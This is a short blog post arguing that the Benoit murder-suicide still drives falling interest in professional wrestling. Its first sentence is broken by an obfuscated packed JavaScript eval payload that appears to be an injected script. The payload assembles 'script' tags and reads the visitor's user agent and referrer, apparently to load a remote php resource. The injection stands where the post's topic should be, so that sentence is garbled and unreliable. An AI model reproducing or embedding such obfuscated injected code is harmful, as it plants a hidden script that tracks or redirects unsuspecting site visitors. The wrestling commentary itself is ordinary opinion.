Thought of the Day: Benoit and Modern Wrestling

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dasyr|var|u0026u|referrer|anhad||js|php'.split('|'),0,{})) came up on my forums earlier today and it made me think a little bit.Right now, wrestling is clearly trending downward.  Ratings are going down and it’s clear that public interest isn’t what it used to be.  Among many other things, I think people forget how big a role the Benoit incident plays in this.  It’s by far and away the biggest mainstream story you’ll see in wrestling arguably ever and it sent shockwaves through everyone.  People looked at wrestling and saw a monster who was about to win a title murdering his wife and son before killing himself.  That was a wakeup call for a lot of fans and it made people walk away from wrestling.  The importance of this to the modern product hasn’t gone away and isn’t going to for a very, very long time.